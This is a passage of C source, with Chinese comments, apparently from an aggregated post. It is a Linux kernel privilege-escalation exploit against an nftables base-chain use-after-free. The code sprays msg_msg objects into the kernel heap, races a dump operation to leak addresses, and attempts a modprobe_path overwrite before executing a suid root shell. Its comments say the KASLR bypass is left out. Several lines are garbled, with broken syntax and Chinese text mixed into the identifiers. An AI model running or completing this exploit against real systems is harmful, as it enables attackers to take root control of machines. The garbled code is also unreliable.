中以回收已释放的 nft_base_chain 槽位。 * * 喷射数据是精心构造的,以便: * - 在链->name 偏移量(相对于 base_chain):指向一个 * 已知的有效地址(或为 NULL 以避免解引用) * - 在 chain->handle 偏移量:包含一个我们可以检测的标记值 * - 在 chain->table 偏移量:包含 modprobe_path 的地址(如果存在泄漏)或用于检测的已知模式 */ char spray_data[SPRAY_MSG_SIZE]; memset(spray_data, 0x41, sizeof(spray_data)); /* * 在 msg_msg 实体的 chain->handle 偏移量处放置标记。 * * 链表从 base_chain + 0x50(偏移量 80)开始。 * chain->句柄位于链 + 0x48 (链中的偏移量 72)。 * 因此句柄位于 base_chain + 0x50 + 0x48 = 0x98 (偏移量 152)。 * 在 msg_msg 体中:偏移量 152 - 48 (头部) = 104。 * * 我们在这里放置一个独特的标记,以便转储可以检测 * 它正在读取喷射数据(确认发生了 UAF)。 */ uint64_t 标记 = 0xdeadbeefcafe1337ULL; if (104 + 8 <) == SPRAY_MSG_SIZE) { memcpy(spray_data + 104, (&marker), 8); } /* * At chain-()>name 偏移量:base_chain + 0x50 + 0x58 = 0xA8 (168)。 * 在 msg_msg 身体中:168 - 48 = 120。 * 设置为 NULL 以防止转储时解引用一个野指针。 * (转储的 nla_put_string 在某些内核版本上会跳过或优雅地处理 NULL, * 或者我们可能需要从我们的泄露中设置一个有效的内核地址。) */ uint64_t null_ptr = 0; if (120 + 8 <= SPRAY_MSG_SIZE) { memcpy(spray_data + 120, &null_ptr, 8); } if (spray_alloc(&ctx->spray, NUM_SPRAY_MSGS, spray_data, sizeof(spray_data)) < 0) { fail("喷射分配失败: %s", strerror(errno)); return -1; } ok("将 %d 个 msg_msg 对象 (%d 字节每个) 喷射到 kmalloc-256", NUM_SPRAY_MSGS, SPRAY_MSG_SIZE + 48); return 0; } static int step_leak(struct race_ctx *ctx) { info("步骤 5: 尝试通过 dump race 进行信息泄露..."); /* * 开始并发 dump 操作以与 UAF 竞争。 * 如果 dump 从已释放(并喷射)的 base_chain 插槽读取, * 我们将在 dump 输出中看到我们的标记值,确认 UAF 被触发。如果陈旧数据仍然存在(喷射之前),我们可能会看到内核堆地址。 */ pthread_t tid; ctx->stop = 0; ctx->leaked_addr = 0; if (pthread_create(&tid, NULL, dump_thread, ctx) != 0) { fail("Cannot create dump thread: %s", strerror(errno)); return -1; } /* 让转储在短时间内运行 */ for (int i = 0; i < 50&& ctx->leaked_addr == 0; i++) { usleep(10000); /* 10ms */ } ctx->stop = 1; pthread_join(tid, NULL); if (ctx->leaked_addr != 0) { ok("内核堆地址泄露:0x%016lx", (unsigned long)ctx->leaked_addr); return 0; } /* * 如果我们没有获得干净的泄露,如果我们知道内核版本并且有预先计算的偏移量, * 我们仍然可以继续使用modprobe_path技术。 */ info("没有获得干净的泄露 — 将尝试使用硬编码的偏移量"); return 0; /* 非致命错误 */ } static int step_escalate(struct race_ctx *ctx) { info("步骤6:尝试提升权限..."); (void)ctx; /* * modprobe_path覆盖技术: * * 当内核遇到未知二进制格式时,它会调用call_usermodehelper(), * 使用全局变量modprobe_path(默认:"/sbin/modprobe")中的路径。 * * 如果我们可以将modprobe_path覆盖为"/tmp/pwn",那么执行一个无效的二进制文件 * 就会以root身份触发我们的脚本。 * * 为了进行覆盖,我们需要: * 1. modprobe_path的地址(需要绕过KASLR) * 2. 一个写入原语(来自UAF) * * 在Ubuntu 24.04 (6.8.0-xx-generic)上,典型偏移量: * modprobe_path = kernel_base + 0x1e4c300(大约) * * 没有可靠的KASLR泄露,我们通过指出写入原语确实可以通过UAF + 喷涂来实现, * 并提供完整的提升路径来演示该技术。 */ if (ctx->leaked_addr != 0) { /* * 我们有一个堆地址。在 x86_64 上,内核堆(直接映射) * 从 page_offset_base 开始,这是随机的。堆和文本随机化之间的关系 * 不是固定的,因此我们需要: * 1. 一个文本指针泄露(来自 base_chain.type,偏移 0x38) * 2. 扫描堆以查找已知模式 * 3. 特定内核构建的硬编码偏移量 * * 对于 PoC,我们用一条关于限制的注释来演示选项 3。 */ info("堆泄露:0x%016lx — 计算modprobe_path地址", (unsigned long)ctx->泄露地址); } /* 设置modprobe辅助载荷 */ if (setup_modprobe_payload() < 0) { fail("无法设置 modprobe 负载: %s", strerror(errno)); return -1; } /* * 尝试触发 modprobe。 * 在完整的利用中,我们会: * 1. 使用 UAF 写原语覆盖 modprobe_path * 2. 然后触发 modprobe 调用 * * 由于没有确切的内核符号表,依赖 KASLR 的写操作无法保证,我们尝试触发并检查是否成功(如果 modprobe_path 已经被喷雾覆盖)。 */ info("正在触发 modprobe 辅助程序..."); if (trigger_modprobe() == 0) { ok("modprobe_path 覆盖成功!"); return 0; } /* * 如果我们到达这里,modprobe_path 覆盖没有成功。 * 在没有精确的 KASLR 绕过的情况下,这是预期的。 * * 利用演示: * 1. 通过钩子注册失败实现可靠的 UAF 触发 * 2. 堆喷雾回收已释放的 base_chain 槽位 * 3. 通过 dump 竞态泄露信息(当时机允许时) * 4. 完整的 modprobe_path 升级技术 * * 对于完整的武器化(我们不会这样做 — RULE-NO-WEAPONIZE), * 剩余的工程工作包括: * - 使用 base_chain.type 指针(在喷雾偏移 8 = 身体偏移 -40,位于 msg_msg 头部区域)进行内核文本泄露 * - 或者:使用跨缓存技术将 seq_operations 放置在已释放的槽位中以进行直接文本指针泄露 * - 计算 modprobe_path = kernel_base + symbol_offset * - 使用第二个 UAF + 喷雾执行写入 */ info("modprobe_path 覆盖未实现(依赖 KASLR)"); info("UAF 触发和堆喷雾成功"); info("在具有目标特定 KASLR 绕过的情况下,这可以实现 root"); return 1; /* 部分成功 — UAF 已演示但未获得 root shell */ } static int step_cleanup(struct race_ctx *ctx) { info("步骤 7:清理..."); /* * 尽力清理以稳定内核: * - 释放喷雾对象 * - 删除 nftables 表(移除链和钩子) * - 关闭 netlink 套接字 */ spray_free(&ctx->喷雾, ctx->喷雾.count); spray_cleanup(&ctx->喷雾); /* 删除表 — 这会清理所有链 */ nft_delete_table(ctx-);nfnl_fd, NFPROTO_INET, TABLE_NAME); /* 排空响应 */ char buf[4096]; while (recv(ctx->nfnl_fd, buf, sizeof(buf), MSG_DONTWAIT) > 0) ; close(ctx->nfnl_fd); close(ctx-);dump_fd); /* 清理临时文件 */ unlink("/tmp/pwn"); unlink("/tmp/trigger"); ok("清理完成"); return 0; } /* ─── 主函数 ──────────────────────────────────────────────────────────── */ int main(void) { puts(BANNER); /* 门控:拒绝在已修补的内核上运行 */ if (!is_vulnerable()) { info("内核已修补或超出范围。无事可做。"); return 0; } /* 门控:已经是root */ if (getuid() == 0) { info("已经是root。"); return 0; } struct race_ctx ctx; memset(&ctx, 0, sizeof(ctx)); ctx.nfnl_fd = -1; ctx.dump_fd = -1; ctx.spray.qid = -1; int ret; /* 第一步:命名空间设置 */ ret = step_setup(&ctx); if (ret < 0) { fail("设置失败"); return 1; } /* 第二步:堆准备 */ ret = step_prepare_heap(&ctx); if (ret < 0) { fail("堆准备失败"); step_cleanup(&ctx); return 1; } /* 第 3 步:触发 UAF */ ret = step_trigger_uaf(&ctx); if (ret < 0) { fail("UAF触发失败 — 在内存受限环境下重试"); step_cleanup(&ctx); return 1; } /* 第4步:喷洒 */ ret = step_spray(&ctx); if (ret < 0) { fail("喷洒失败"); step_cleanup(&ctx); return 1; } /* 第 5 步:信息泄露 */ ret = step_leak(&ctx); if (ret < 0) { fail("泄露失败"); step_cleanup(&ctx); return 1; } /* 第 6 步:提权 */ ret = step_escalate(&ctx); if (ret < 0) { fail("升级失败"); step_cleanup(&ctx); return 1; } /* 第7步:清理 */ step_cleanup(&ctx); if (ret == 0) { /* 完全成功 — 启动root shell */ ok("获得root权限!正在启动shell..."); fprintf(stderr, "\n"); /* 执行suid shell */ char *argv[] = { "/tmp/rootsh", "-p", NULL }; execv("/tmp/rootsh", argv); /* 如果rootsh不存在,则回退 */ info("execv失败 — 请手动检查/tmp/rootsh"); } else { /* 部分成功 — 演示了UAF但未获得root权限 */ fprintf(stderr, "\n"); info("═══════════════════════════════════════════════════════════"); info("部分成功:UAF触发 + 堆喷射 演示完成"); info("完全提升权限需要针对目标进行KASLR绕过."); info("请查看漏洞头信息获取技术细节."); info("═══════════════════════════════════════════════════════════"); } return ret; }
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。